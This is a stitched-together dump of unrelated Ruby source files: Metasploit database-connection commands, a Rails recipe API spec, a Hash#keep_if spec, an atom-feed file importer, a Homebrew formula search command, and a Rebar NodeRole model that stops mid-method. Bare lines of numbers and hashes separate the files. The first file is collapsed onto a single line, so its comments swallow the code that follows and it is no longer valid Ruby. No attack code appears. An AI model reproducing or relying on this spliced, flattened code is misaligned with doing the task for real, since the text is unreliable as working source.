cmd_db_remove_help print_line "Usage: db_remove <name>" print_line print_line "Delete the specified saved data service." print_line end def cmd_db_remove(*args) if args[0] == '-h' || args[0] == '--help' || args[0].nil? || args[0].empty? cmd_db_remove_help return end delete_db_from_config(args[0]) end def delete_db_from_config(db_name) conf = Msf::Config.load db_path = "#{DB_CONFIG_PATH}/#{db_name}" if conf[db_path] clear_default_db if conf[DB_CONFIG_PATH]['default_db'] && conf[DB_CONFIG_PATH]['default_db'] == db_name Msf::Config.delete_group(db_path) print_line "Successfully deleted data service: #{db_name}" else print_line "Unable to locate saved data service with name #{db_name}." end end def clear_default_db conf = Msf::Config.load if conf[DB_CONFIG_PATH] && conf[DB_CONFIG_PATH]['default_db'] updated_opts = conf[DB_CONFIG_PATH] updated_opts.delete('default_db') Msf::Config.save(DB_CONFIG_PATH => updated_opts) print_line "Cleared the default data service." else print_line "No default data service was configured." end end def db_find_tools(tools) missed = [] tools.each do |name| if(! Rex::FileUtils.find_full_path(name)) missed << name end end if(not missed.empty?) print_error("This database command requires the following tools to be installed: #{missed.join(", ")}") return end true end # # Database management: Postgres # # # Connect to an existing Postgres database # def db_connect_postgresql(cli_opts) info = db_parse_db_uri_postgresql(cli_opts[:url]) opts = { 'adapter' => 'postgresql' } opts['username'] = info[:user] if (info[:user]) opts['password'] = info[:pass] if (info[:pass]) opts['database'] = info[:name] opts['host'] = info[:host] if (info[:host]) opts['port'] = info[:port] if (info[:port]) opts['pass'] ||= '' # Do a little legwork to find the real database socket if(! opts['host']) while(true) done = false dirs = %W{ /var/run/postgresql /tmp } dirs.each do |dir| if(::File.directory?(dir)) d = ::Dir.new(dir) d.entries.grep(/^\.s\.PGSQL.(\d+)$/).each do |ent| opts['port'] = ent.split('.')[-1].to_i opts['host'] = dir done = true break end end break if done end break end end # Default to loopback if(! opts['host']) opts['host'] = '127.0.0.1' end if framework.db.connect(opts) && framework.db.connection_established? print_line "Connected to Postgres data service: #{info[:host]}/#{info[:name]}" else raise RuntimeError.new("Failed to connect to the Postgres data service: #{framework.db.error}") end end def db_connect_http(opts) # local database is required to use Mdm objects unless framework.db.active print_error("No local database connected. Please connect to a local database before connecting to a remote data service.") return end uri = db_parse_db_uri_http(opts[:url]) remote_data_service = Metasploit::Framework::DataService::RemoteHTTPDataService.new(uri.to_s, opts) begin framework.db.register_data_service(remote_data_service) print_line "Connected to HTTP data service: #{remote_data_service.name}" framework.db.workspace = framework.db.default_workspace rescue => e raise RuntimeError.new("Failed to connect to the HTTP data service: #{e.message}") end end def db_parse_db_uri_postgresql(path) res = {} if (path) auth, dest = path.split('@') (dest = auth and auth = nil) if not dest # remove optional scheme in database url auth = auth.sub(/^\w+:\/\//, "") if auth res[:user],res[:pass] = auth.split(':') if auth targ,name = dest.split('/') (name = targ and targ = nil) if not name res[:host],res[:port] = targ.split(':') if targ end res[:name] = name || 'metasploit3' res end def db_parse_db_uri_http(path) URI.parse(path) end # # Miscellaneous option helpers # # # Takes +host_ranges+, an Array of RangeWalkers, and chunks it up into # blocks of 1024. # def each_host_range_chunk(host_ranges, &block) # Chunk it up and do the query in batches. The naive implementation # uses so much memory for a /8 that it's basically unusable (1.6 # billion IP addresses take a rather long time to allocate). # Chunking has roughly the same performance for small batches, so # don't worry about it too much. host_ranges.each do |range| if range.nil? or range.length.nil? chunk = nil end_of_range = true else chunk = [] end_of_range = false # Set up this chunk of hosts to search for while chunk.length < 1024 and chunk.length < range.length n = range.next_ip if n.nil? end_of_range = true break end chunk << n end end # The block will do some yield chunk # Restart the loop with the same RangeWalker if we didn't get # to the end of it in this chunk. redo unless end_of_range end end ####### private ####### def print_connection_info cdb = '' if framework.db.driver == 'http' cdb = framework.db.name else ::ActiveRecord::Base.connection_pool.with_connection do |conn| if conn.respond_to?(:current_database) cdb = conn.current_database end end end output = "Connected to #{cdb}. Connection type: #{framework.db.driver}." output += " Connection name: #{@current_data_service}." if @current_data_service print_status(output) end def data_service_search(search_criteria) conf = Msf::Config.load rv = nil conf.each_pair do |k,v| name = k.split('/').last rv = name if name == search_criteria end rv end def load_db_config(db_name) conf = Msf::Config.load conf_options = conf["#{DB_CONFIG_PATH}/#{db_name}"] opts = {} https_opts = {} if conf_options opts[:url] = conf_options['url'] if conf_options['url'] opts[:api_token] = conf_options['api_token'] if conf_options['api_token'] https_opts[:cert] = conf_options['cert'] if conf_options['cert'] https_opts[:skip_verify] = conf_options['skip_verify'] if conf_options['skip_verify'] else print_error "Unable to locate saved data service with name '#{db_name}'" return end opts[:https_opts] = https_opts unless https_opts.empty? opts end def list_saved_data_services conf = Msf::Config.load default = nil tbl = Rex::Text::Table.new({ 'Header' => 'Data Services', 'Columns' => ['current', 'name', 'url', 'default?'], 'SortIndex' => 1 }) conf.each_pair do |k,v| if k =~ /#{DB_CONFIG_PATH}/ default = v['default_db'] if v['default_db'] name = k.split('/').last next if name == 'database' # Data service information is not stored in 'framework/database', just metadata url = v['url'] current = '' current = '*' if name == @current_data_service default_output = '' default_output = '*' if name == default line = [current, name, url, default_output] tbl << line end end print_line print_line tbl.to_s end def build_postgres_url conn_params = ActiveRecord::Base.connection_config url = "" url += "#{conn_params[:username]}" if conn_params[:username] url += ":#{conn_params[:password]}" if conn_params[:password] url += "@#{conn_params[:host]}" if conn_params[:host] url += ":#{conn_params[:port]}" if conn_params[:port] url += "/#{conn_params[:database]}" if conn_params[:database] url end def print_msgs(status_msg, error_msg) status_msg.each do |s| print_status(s) end error_msg.each do |e| print_error(e) end end end end end end end
30.688899
159
0.595443
03d4711c2cfbc6f864e255a27df965470539c3db
2,612
require 'rails_helper' require_relative '../version' describe "Service finds a single recipe via service auth key" do # URL: /api/recipe/:id # Method: GET # Get a specific recipe belonging to the current account # curl -H "Content-Type: application/json, Accept: application/vnd.ink.v1, uid: [email protected], service_key: LET_ME_IN" -X GET http://localhost:3000/api/recipes/:id describe "GET show recipe" do let!(:account) { create(:account) } let!(:service) { create(:service, account: account) } let!(:recipe) { create(:recipe, account: account) } let(:auth_headers) { {uid: account.email, service_key: service.auth_key} } context 'the service key is valid' do context 'the recipe is accessible to the service' do it 'responds with success' do perform_show_request(auth_headers, recipe.id) expect(response.status).to eq(200) end context 'the recipe is not accessible to the service' do let!(:other_account) { create(:account) } before do recipe.update_attribute(:account_id, other_account.id) end it 'responds with failure' do perform_show_request(auth_headers, recipe.id) expect(response.status).to eq(404) end end end context 'and the recipe does not exist' do before do recipe.destroy perform_show_request(auth_headers, "rubbish") end it 'responds with failure' do expect(response.status).to eq(404) end end end context 'if no auth key is supplied' do let(:invalid_auth_headers) { {uid: account.email, service_key: nil} } before do perform_show_request(invalid_auth_headers, recipe.id) end it 'raises an error' do expect(response.status).to eq(401) end it 'provides a message' do expect_to_contain_string(body_as_json['errors'], /Authorized users only/) end end context 'if the key is not valid' do let(:invalid_auth_headers) { {uid: account.email, service_key: "RUBBISH"} } before do perform_show_request(invalid_auth_headers, recipe.id) end it 'raises an error' do expect(response.status).to eq(401) end it 'provides a message' do expect_to_contain_string(body_as_json['errors'], /Authorized users only/) end end end def perform_show_request(auth_headers, id) show_recipe_request(version, auth_headers, id) end end
29.022222
171
0.632848
d50d969467926075126cefaee387eaf6412cf042
1,210
require_relative '../../spec_helper' require_relative 'fixtures/classes' require_relative 'shared/iteration' require_relative '../enumerable/shared/enumeratorized' describe "Hash#keep_if" do it "yields two arguments: key and value" do all_args = [] { 1 => 2, 3 => 4 }.keep_if { |*args| all_args << args } all_args.should == [[1, 2], [3, 4]] end it "keeps every entry for which block is true and returns self" do h = { a: 1, b: 2, c: 3, d: 4 } h.keep_if { |k,v| v % 2 == 0 }.should equal(h) h.should == { b: 2, d: 4 } end it "removes all entries if the block is false" do h = { a: 1, b: 2, c: 3 } h.keep_if { |k,v| false }.should equal(h) h.should == {} end it "returns self even if unmodified" do h = { 1 => 2, 3 => 4 } h.keep_if { true }.should equal(h) end it "raises a FrozenError if called on a frozen instance" do -> { HashSpecs.frozen_hash.keep_if { true } }.should raise_error(FrozenError) -> { HashSpecs.empty_frozen_hash.keep_if { false } }.should raise_error(FrozenError) end it_behaves_like :hash_iteration_no_block, :keep_if it_behaves_like :enumeratorized_with_origin_size, :keep_if, { 1 => 2, 3 => 4, 5 => 6 } end
31.842105
88
0.638017
e2905580140b0e6934377e74cf28869b686e847a
1,609
# a manual class for importing a file list from an atom feed from Merritt. # Useful so that we can use the ActiveRecord connection for whatever environment to populate it from the atom feed. class ImportFileList def initialize(atom_url: 'https://merritt.cdlib.org/object/recent.atom?collection=ark:/13030/m5q82t8x', ark: 'ark:/b6078/d1ks3m', resource_id: 272) @atom_url = atom_url @ark = ark @resource_id = resource_id end def populate_files noko = get_atom items = filter(noko) items.each do |i| fn = i.attribute('title').value fn.gsub!(/^producer\//, '') unless fn.blank? size = i.attribute('length').value.try(:to_i) content_type = i.attribute('type').value #puts "#{fn} #{size} #{content_type}" unless StashEngine::FileUpload.where(upload_file_name: fn).where(resource_id: @resource_id).count > 0 StashEngine::FileUpload.create({ upload_file_name: fn, upload_content_type: content_type, upload_file_size: size, resource_id: @resource_id, upload_updated_at: Time.new, file_state: 'created'} ) end end end # gets the atom feed as a Nokogiri XML object def get_atom response = HTTParty.get(@atom_url) doc = Nokogiri::XML(response) doc.remove_namespaces! end def filter(noko) noko.xpath("//feed//link[@rel='http://purl.org/dc/terms/hasPart']" + "[starts-with(@href, '/d/#{CGI::escape(@ark)}/')]" + "[starts-with(@title, 'producer/')]" ) end end
32.836735
115
0.624612
6ac633e4a6a246eb937bf4099a808130d8ba36e2
1,577
require "cli/parser" module Homebrew module_function def find_not_bottled_args Homebrew::CLI::Parser.new do usage_banner <<~EOS `find-not-bottled` [`--must-find=`<pattern>] [`--must-not-find=`<pattern>] Output a list of formulae that do not have a bottle. EOS flag "--must-find=", description: "Match only formulae containing the given pattern." flag "--must-not-find=", description: "Match only formulae that do not contain the given pattern." flag "--tap=", description: "Specify a tap rather than the default #{CoreTap.instance.name}." max_named 0 end end def find_not_bottled args = find_not_bottled_args.parse must_find = [ args.must_find, ].compact must_not_find = [ /bottle :unneeded/, /depends_on :xcode/, /:x86_64_linux/, args.must_not_find, ].compact tap = Tap.fetch(args.tap || CoreTap.instance.name) onoe "#{tap.name} is not installed! Try running: brew tap #{tap.name}" unless tap.installed? formulae = Dir["#{tap.path}/Formula/*"].map do |formula| content = File.read(formula) found = 0 must_not_find.each do |pattern| found += 1 if content.match?(pattern) end next if found.positive? found = must_find.length must_find.each do |pattern| found -= 1 if content.match?(pattern) end next if found.positive? formula.split("/").last.delete_suffix(".rb") end.compact.sort puts formulae end end
25.031746
96
0.617628
6a229cc187a7db9aeccbe7a5a5e23208bf2d9390
30,698
# Copyright 2014, Dell # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # require 'json' class NodeRole < ActiveRecord::Base after_create :load_uuid def load_uuid self.reload end private :load_uuid after_commit :run_hooks, on: [:update, :create] around_save :run_synchronous_hooks before_destroy :test_if_destroyable validate :role_is_bindable, on: :create validate :validate_conflicts, on: :create belongs_to :node belongs_to :role belongs_to :deployment has_one :barclamp, :through => :role has_many :attribs, :through => :role has_many :runs, :dependent => :destroy # find other node-roles in this deployment using their role or node scope :all_by_state, ->(state) { where(['node_roles.state=?', state]) } # A node is runnable if: # It is in TODO. # It is in a committed deployment. scope :committed, -> { joins(:deployment).where('deployments.state' => Deployment::COMMITTED).readonly(false) } scope :deactivatable, -> { where(:state => [ACTIVE, TRANSITION, ERROR]) } scope :in_state, ->(state) { where('node_roles.state' => state) } scope :not_in_state, ->(state) { where(['node_roles.state != ?',state]) } scope :available, -> { where(:available => true) } scope :runnable, -> { available.committed.in_state(NodeRole::TODO).joins(:node).where('nodes.alive' => true, 'nodes.available' => true).joins(:role).joins('inner join jigs on jigs.name = roles.jig_name').readonly(false).where(['node_roles.node_id not in (select node_roles.node_id from node_roles where node_roles.state in (?, ?))',TRANSITION,ERROR]) } scope :committed_by_node, ->(node) { where(['state<>? AND state<>? AND node_id=?', NodeRole::PROPOSED, NodeRole::ACTIVE, node.id])} scope :in_deployment, ->(deployment) { where(:deployment_id => deployment.id) } scope :with_role, ->(r) { where(:role_id => r.id) } scope :on_node, ->(n) { where(:node_id => n.id) } scope :peers_by_state, ->(ss,state) { in_deployment(ss).in_state(state) } scope :peers_by_role, ->(ss,role) { in_deployment(ss).with_role(role) } scope :peers_by_node, ->(ss,node) { in_deployment(ss).on_node(node) } scope :peers_by_node_and_role, ->(n,r) { on_node(n).with_role(r) } scope :deployment_node_role, ->(s,n,r) { where(['deployment_id=? AND node_id=? AND role_id=?', s.id, n.id, r.id]) } # make sure that new node-roles have require upstreams # validate :deployable, :if => :deployable? # node_role_pcms maps parent noderoles to child noderoles. has_and_belongs_to_many(:parents, -> { reorder('cohort DESC, id ASC') }, :class_name => "NodeRole", :join_table => "node_role_pcms", :foreign_key => "child_id", :association_foreign_key => "parent_id") has_and_belongs_to_many(:children, -> { reorder('cohort ASC, id ASC') }, :class_name => "NodeRole", :join_table => "node_role_pcms", :foreign_key => "parent_id", :association_foreign_key => "child_id") # Parent and child links based on noderole -> noderole attribute dependency. has_many :parent_attrib_links, class_name: "NodeRoleAttribLink", foreign_key: "child_id", :dependent => :destroy has_many :child_attrib_links, class_name: "NodeRoleAttribLink", foreign_key: "parent_id", :dependent => :destroy # State transitions: # All node roles start life in the PROPOSED state. # At deployment commit time, all node roles in PROPOSED that: # 1. Have no parent node role, or # 2. Have a parent in ACTIVE state # will be placed in TODO state, and all others will be placed in BLOCKED. # # The annealer will then find all node roles in the TODO state, set them # to TRANSITION, and hand them over to their appropriate jigs. # # If the operation for the node role succeeds, the jig will set the # node_role to ACTIVE, set all the node_role's BLOCKED children to TODO, and # wake up the annealer for another pass. # # If the operation for the node role fails, the jig will set the node_role to # ERROR, set all of its children (recursively) to BLOCKED, and no further # processing for that node role dependency tree will happen. ERROR = -1 ACTIVE = 0 TODO = 1 TRANSITION = 2 BLOCKED = 3 PROPOSED = 4 STATES = { ERROR => 'error', ACTIVE => 'active', TODO => 'todo', TRANSITION => 'transition', BLOCKED => 'blocked', PROPOSED => 'proposed' } class InvalidTransition < StandardError def initialize(node_role,from,to,str=nil) @errstr = "#{node_role.name}: Invalid state transition from #{NodeRole.state_name(from)} to #{NodeRole.state_name(to)}" @errstr += ": #{str}" if str end def to_s @errstr end def to_str to_s end end class InvalidState < StandardError end class MissingJig < StandardError def initalize(nr) @errstr = "NodeRole #{nr.name}: Missing jig #{nr.role.jig_name}" end def to_s @errstr end def to_str to_s end end # node_role_all_pcms is a view that expands node_role_pcms # to include all of the parents and children of a noderole, # recursively. def all_parents NodeRole.where("id in (select parent_id from node_role_all_pcms where child_id = ?)",id). order('cohort DESC, id ASC') end def all_children NodeRole.where("id in (select child_id from node_role_all_pcms where parent_id = ?)",id). order('cohort ASC, id ASC') end def all_hard_children NodeRole.where("id in (select child_id from node_role_all_pcms where parent_id = ? and soft = false)",id). order('cohort ASC, id ASC') end def hard_children NodeRole.where("id in (select child_id from node_role_pcms where parent_id = ? and soft = false)",id). order('cohort ASC, id ASC') end # lookup i18n version of state def state_name NodeRole.state_name(state) end def as_json(args = nil) args ||= {} args[:except] = [ :proposed_data, :committed_data, :sysdata, :wall, :notes ] args[:methods] = :node_error super(args) end def self.state_name(state) raise InvalidState.new("#{state || 'nil'} is not a valid NodeRole state!") unless state and STATES.include? state I18n.t(STATES[state], :scope=>'node_role.state') end def node_error return node.state == NodeRole::ERROR end def self.bind_needed_parents(target_role,target_node,target_dep) res = [] wanted_parents = [] transaction do wanted_parents = Role.find_by_sql "SELECT DISTINCT ON (\"roles\".\"id\") \"roles\".* from \"roles\" where \"roles\".\"id\" in (#{target_role.wanted_attribs.select('role_id').to_sql} UNION #{target_role.parents.select('id').to_sql})" end wanted_parents.each do |parent| tenative_parents = [] transaction do tenative_parents = NodeRole.find_by_sql "SELECT DISTINCT ON (\"node_roles\".\"id\") \"node_roles\".* from \"node_roles\" where \"node_roles\".\"id\" in (#{NodeRole.where(role_id: parent.id, node_id: target_node.id).select('id').to_sql} UNION #{NodeRole.where("node_id = ? AND role_id in (select id from roles where ? = ANY(provides))", target_node.id, parent.name).select('id').to_sql}) LIMIT 1" if tenative_parents.empty? && !parent.implicit? cdep = target_dep while tenative_parents.empty? && cdep tenative_parents = NodeRole.find_by_sql "SELECT DISTINCT ON (\"node_roles\".\"id\") \"node_roles\".* from \"node_roles\" where \"node_roles\".\"id\" in (#{NodeRole.where(deployment_id: cdep.id, role_id: parent.id).select('id').to_sql} UNION #{NodeRole.where('deployment_id = ? AND role_id in (select id from roles where ? = ANY(provides))', cdep.id, parent.name).select('id').to_sql}) LIMIT 1" break unless tenative_parents.empty? cdep = (cdep.parent rescue nil) end end end unless tenative_parents.empty? Rails.logger.info("NodeRole safe_create: Found parent noderole #{tenative_parents[0].name}") res.concat(tenative_parents) else res << safe_create!(node_id: target_node.id, role_id: parent.id, tenant_id: target_dep.tenant_id, deployment_id: target_dep.id) Rails.logger.info("NodeRole safe_create: Created parent noderole #{res[-1].name}") end if parent.cluster? cluster_peers = NodeRole.find_by_sql(['SELECT * from node_roles WHERE id != ? AND role_id = ? AND deployment_id = ?', res[-1].id, res[-1].role_id, res[-1].deployment_id]) res.concat(cluster_peers) end end return res end def self.safe_create!(args) res = find_by(args) || find_by(node_id: args[:node_id], role_id: args[:role_id]) return res if res r = Role.find_by!(id: args[:role_id]) n = Node.find_by!(id: args[:node_id]) d = Deployment.find_by!(id: args[:deployment_id]) Rails.logger.info("NodeRole safe_create: Determining parents needed to bind role #{r.name} to node #{n.name} in deployment #{d.name}") rents = bind_needed_parents(r,n,d) Rails.logger.info("NodeRole safe_create: Binding role #{r.name} to deployment #{d.name}") r.add_to_deployment(d) Rails.logger.info("NodeRole safe_create: Binding role #{r.name} to node #{n.name} in deployment #{d.name}") # Add all our parent/child links in one go. NodeRole.locked_transaction do # If role is service role, make sure it is placed on the phantom node. if r.service? args[:node_id] = Node.where(deployment_id: d.id, system: true, variant: "phantom")[0].id end res = create!(args) query_parts = [] tenative_cohort = 0 rents.each do |rent| query_parts << "(#{rent.id}, #{res.id}, false)" tenative_cohort = rent.cohort + 1 if rent.cohort >= tenative_cohort end r.preceeds_parents.each do |pr| pnr = NodeRole.find_by(node_id: n.id, role_id: pr.id) pnr ||= NodeRole.find_by(deployment_id: d.id, role_id: pr.id) unless r.implicit? if pnr Rails.logger.info("NodeRole: Role #{pr.name} preceeds #{r.name}, binding #{res.id} to #{pnr.id}") query_parts << "(#{pnr.id}, #{res.id}, true)" tenative_cohort = pnr.cohort + 1 if pnr.cohort >= tenative_cohort end end run_update_cohort = false r.preceeds_children.each do |pr| tnr = NodeRole.find_by(node_id: n.id, role_id: pr.id) tnr ||= NodeRole.find_by(deployment_id: d.id, role_id: pr.id) unless pr.implicit? if tnr Rails.logger.info("NodeRole: Role #{pr.name} preceeds #{r.name}, binding #{tnr.id} to #{res.id}") query_parts << "(#{res.id}, #{tnr.id}, true)" run_update_cohort = true end end unless query_parts.empty? ActiveRecord::Base.connection.execute("INSERT INTO node_role_pcms (parent_id, child_id, soft) VALUES #{query_parts.join(', ')}") end res.cohort = tenative_cohort if res.role.cluster? cluster_peer_children = NodeRole.where('id in (select distinct child_id from node_role_pcms where parent_id in (select id from node_roles where deployment_id = ? AND role_id = ? AND id != ?))', res.deployment_id, res.role_id, res.id) unless cluster_peer_children.empty? query_parts = cluster_peer_children.map{|c|"(#{res.id}, #{c.id}, true)"}.join(', ') ActiveRecord::Base.connection.execute("INSERT INTO node_role_pcms (parent_id, child_id, soft) VALUES #{query_parts}") cluster_peer_children.each do |c| next if c.cohort > res.cohort c.update_cohort end end end res.save! res.update_cohort if run_update_cohort res.rebind_attrib_parents Event.fire(res, obj_class: 'role', obj_id: res.role.name, event: 'on_node_bind') end # We only call on_node_change when the node is available to prevent Rebar # from noticing changes it should not notice yet. # on_node_bind is specific callback for the adding node. Let the other roles # know that the node has changed. if n.available? Event.fire(n, event: 'on_node_change') end if n.available? res end def error? state == ERROR end def active? state == ACTIVE end def todo? state == TODO end def transition? state == TRANSITION end def blocked? state == BLOCKED end def proposed? state == PROPOSED end def activatable? (parents.count == 0) || (parents.not_in_state(ACTIVE).count == 0) end def runnable? node.available && node.alive && jig.active && committed_data && deployment.committed? && !self.proposed? && !self.error? end # convenience methods def name "#{deployment.name}: #{node.name}: #{role.name}" rescue I18n.t('unknown') end def deployment_role DeploymentRole.find_by(deployment_id: deployment_id, role_id: role_id) end def deployment_data if self.proposed? deployment_role.all_data else deployment_role.all_committed_data end end def available read_attribute("available") end def available=(b) NodeRole.transaction do write_attribute("available",!!b) save! end end def update_cohort NodeRole.transaction do c = (parents.maximum("cohort") || -1) if c >= cohort update_column(:cohort, c + 1) end children.where('cohort <= ?',cohort).each do |child| child.update_cohort end end end def add_child(new_child, cluster_recurse=true) NodeRole.transaction do if new_child.is_a?(String) nc = self.node.node_roles.find_by(role_id: Role.find_by!(name: new_child)) unless nc nc = NodeRole.find_by!("node_id = ? AND role_id in (select id from roles where ? = ANY(provides))", self.node.id, new_child) end new_child = nc end unless children.any?{|c| c.id == new_child.id} children << new_child new_child.update_cohort end # If I am a cluster, then my peers get my children. if self.role.cluster? && cluster_recurse NodeRole.peers_by_role(deployment,role).each do |peer| next if peer.id == self.id peer.add_child(new_child,false) end end end new_child.rebind_attrib_parents new_child end def add_parent(new_parent) new_parent.add_child(self) end def note_update(val) transaction do self.notes = self.notes.deep_merge(val) save! end end def data proposed? ? proposed_data : committed_data end def data=(arg) raise I18n.t('node_role.cannot_edit_data') unless proposed? update!(proposed_data: arg) end def data_update(val) NodeRole.transaction do update!(proposed_data: proposed_data.deep_merge(val)) end end def sysdata res = read_attribute("sysdata") if role.respond_to?(:sysdata) res = role.sysdata(self).deep_merge(res) end res end def sysdata=(arg) NodeRole.transaction do update_column("sysdata", arg) end end def sysdata_update(val) NodeRole.transaction do self.sysdata = self.sysdata.deep_merge(val) end end def wall_update(val) NodeRole.transaction do self.wall = self.wall.deep_merge(val) save! end end def all_my_data res = {} res.deep_merge!(wall) res.deep_merge!(node.from_profiles) res.deep_merge!(sysdata) res.deep_merge!(data) res end def attrib_data(only_committed=false) deployment_role.all_data(only_committed).deep_merge(only_committed ? all_committed_data : all_my_data) end def all_committed_data res = deployment_role.all_committed_data res.deep_merge!(wall) res.deep_merge!(node.from_profiles) res.deep_merge!(sysdata) res.deep_merge!(committed_data) res end def all_deployment_data res = {} all_parents.each {|parent| res.deep_merge!(parent.deployment_data)} res.deep_merge(deployment_data) end def all_parent_data res = {} all_parents.each do |parent| next unless parent.node_id == node_id || parent.role.server if self.proposed? res.deep_merge!(parent.all_my_data) else res.deep_merge!(parent.all_committed_data) end end res end def all_data res = all_deployment_data res.deep_merge!(all_parent_data) res.deep_merge(all_my_data) end # Gather all of the attribute data needed for a single noderole run. # It should be run to create whatever information will be needed # for the actual run before doing the actual run in a delayed job. # RETURNS the attribute data needed for a single noderole run. def all_transition_data res = {} # Figure out which attribs will be satisfied from node data vs. # which will be satisfied from noderoles. NodeRole.transaction do node_req_attrs = role.role_require_attribs.select do |rrr| attr = rrr.attrib raise("RoleRequiresAttrib: Cannot find required attrib #{rrr.attrib_name}") if attr.nil? attr.role_id.nil? end # For all the node attrs, resolve them. Prefer hints. # Start with the node data. node_req_attrs.each do |req_attr| Rails.logger.info("NodeRole all_transition_data: Adding node attribute #{req_attr.attrib_name} to attribute blob for #{name} run") v = req_attr.attrib.extract(node,:all,true) res.deep_merge!(v) unless v.nil? end # Next, do the same for the attribs we want from a noderole. parent_attrib_links.each do |al| Rails.logger.info("NodeRole all_transition_data: Adding role attribute #{al.attrib.name} from #{al.parent.name}") res.deep_merge!(al.attrib.extract(al.parent.deployment_role,:all,true)) res.deep_merge!(al.attrib.extract(al.parent,:all,true)) end # And all the noderole data from the parent noderoles on this node. # This needs to eventaully go away once I figure ot the best way to pull # attrib data that hsould always be present on a node. all_parents.where(node_id: node.id).each do |pnr| res.deep_merge!(pnr.all_committed_data) end # Add this noderole's attrib data. Rails.logger.info("Jig: Merging attribute data from #{name} for jig run.") res.deep_merge!(all_committed_data) # Make sure we capture default attrib values attribs.each do |attr| res.deep_merge!(attr.extract(self,:all,true)) end # Add information about the resource reservations this node has in place if node.discovery["reservations"] res["rebar_wall"] ||= Hash.new res["rebar_wall"]["reservations"] = node.discovery["reservations"] end # Add variant res["variant"] = node.variant # Add any hints. res["hints"] = node.hint # Add quirks res["quirks"] = node.quirks # And we are done. end res end def rerun NodeRole.transaction do raise InvalidTransition(self,state,TODO,"Cannot rerun transition") unless error? write_attribute("state",TODO) save! end end def deactivate NodeRole.transaction do reload return if proposed? block_or_todo end end def error! # We can also go to ERROR pretty much any time. # but we silently ignore the transition if in BLOCKED self.with_lock do reload return if blocked? update!(state: ERROR) # All children of a node_role in ERROR go to BLOCKED. all_children.where(["state NOT IN(?,?)",PROPOSED,TRANSITION]).update_all(state: BLOCKED) end end def active! # We can only go to ACTIVE from TRANSITION # but we silently ignore the transition if in BLOCKED self.with_lock do update!(run_count: run_count + 1) if !node.alive block_or_todo else raise InvalidTransition.new(self,state,ACTIVE) unless transition? update!(state: ACTIVE) end end # Moving any BLOCKED noderoles to TODO will be handled in the after_commit hook. end def todo!(clear_log=false) # You can pretty much always go back to TODO as long as all your parents are ACTIVE self.with_lock do reload raise InvalidTransition.new(self,state,TODO,"Not all parents are ACTIVE") unless activatable? if clear_log update!(state: TODO, runlog: "") else update!(state: TODO) end # Going into TODO transitions any children in ERROR or TODO into BLOCKED children.where(["state IN(?,?)",ERROR,TODO]).each do |c| c.block! end end end def transition! # We can only go to TRANSITION from TODO or ACTIVE self.with_lock do reload unless todo? || active? || transition? raise InvalidTransition.new(self,state,TRANSITION) end Rails.logger.info("NodeRole: Transitioning #{name}") if role.leaverunlog update!(state: TRANSITION) else update!(state: TRANSITION, runlog: "") end end end def block! # We can pretty much always go to BLOCKED. self.with_lock do reload update!(state: BLOCKED) # Going into BLOCKED transitions any children in ERROR or TODO into BLOCKED. children.where(["state IN(?,?)",ERROR,TODO]).each do |c| c.block! end end end def propose! # We can also pretty much always go into PROPOSED, # and it does not affect the state of our children until # we go back out of PROPOSED. self.with_lock do reload update!(state: PROPOSED) end end def name "#{deployment.name}: #{node.name}: #{role.name}" rescue I18n.t('unknown') end # Commit takes us back to TODO or BLOCKED, depending def commit!(ignore_power=false) NodeRole.transaction do reload if deployment_role.proposed? raise InvalidTransition.new(self,state,PROPOSED,"Cannot commit! unless deployment_role committed!") end update!(committed_data: proposed_data) unless proposed_data.nil? if proposed? Event.fire(self, obj_class: 'role', obj_id: role.name, event: 'on_commit') block_or_todo end unless ignore_power if !node.alive && node.power[:on] @do_power_on = true else @do_power_on = false end else @do_power_on = false end end self end # convenience methods def description role.description end def jig role.jig end def rebind_attrib_parents NodeRole.transaction do role.wanted_attribs.each do |a| next unless a.role_id target = all_parents.find_by!(role_id: a.role_id) nra = parent_attrib_links.find_by(attrib: a) if nra.nil? Rails.logger.info("NodeRole rebind_attrib_parents: attrib: #{a.name} Creating parent attrib link for #{self.name} to #{target.name}") NodeRoleAttribLink.find_or_create_by!(parent: target, child: self, attrib: a) elsif nra.parent != target Rails.logger.info("NodeRole rebind_attrib_parents: attrib: #{a.name} Updating parent attrib link for #{self.name} to #{target.name}") nra.update!(parent: target) end end end end private def test_if_destroyable NodeRole.transaction do # If we are a leaf node, we can be destroyed. deletable = false if hard_children.count == 0 Rails.logger.info("NodeRole: #{name} has no children, we can delete it.") return true end # If, we have no children not on the same node, or # all our children are PROPOSED and have never been run, we can be deleted. if all_hard_children.where.not(node_id: node_id).count == 0 Rails.logger.info("NodeRole: #{name} only has children on the same node, it is deletable") deletable = true end if all_hard_children.where.not(state: PROPOSED, run_count: 0).count == 0 Rails.logger.info("NodeRole: #{name} only has children that are PROPOSED and have never run, it is deletable") deletable = true end return false unless deletable all_hard_children.order("cohort DESC").each do |c| c.destroy end # if we can destroy, then we also need to run the sync_on_delete method Event.fire(self, obj_class: "role", obj_id: role.name, event: "sync_on_destroy") return true end end def block_or_todo NodeRole.transaction do (activatable? ? todo! : block!) end end def run_synchronous_hooks return yield unless changes['state'] begin meth = "sync_on_#{STATES[state]}" res = Event.fire(self, obj_class: "role", obj_id: role.name, event: meth) if ! res.empty? && ! res.first self.runlog ||= "" self.runlog << "Hook returned #{res.first.inspect}" raise "Hook failed" end rescue StandardError => e Rails.logger.fatal("Error #{e.inspect} in NodeRole run hooks!") Rails.logger.fatal("Backtrace:\n\t#{e.backtrace.join("\n\t")}") self.runlog ||= "" self.runlog << "Error handling hook #{meth.to_s}\n" self.runlog << "Error #{e.inspect} in NodeRole run_synchronous_hooks!\n" self.runlog << "Backtrace:\n\t#{e.backtrace.join("\n\t")}" self.state = ERROR end yield end def run_hooks begin meth = "on_#{STATES[state]}" if proposed? # on_proposed only runs on initial noderole creation. Event.fire(self, obj_class: 'role', obj_id: role.name, event: meth) return end node.power.on if @do_power_on return unless previous_changes['state'] if deployment.committed? && available && ((!role.destructive) || (run_count == self.active? ? 1 : 0)) Event.fire(self, obj_class: 'role', obj_id: role.name, event: meth) end if todo? && runnable? Rails.logger.info("NodeRole #{name} is runnable, kicking the annealer.") Run.run! elsif active? if role.milestone Event.fire(self, event: 'on_milestone') end node.halt_if_bored(self) if role.powersave 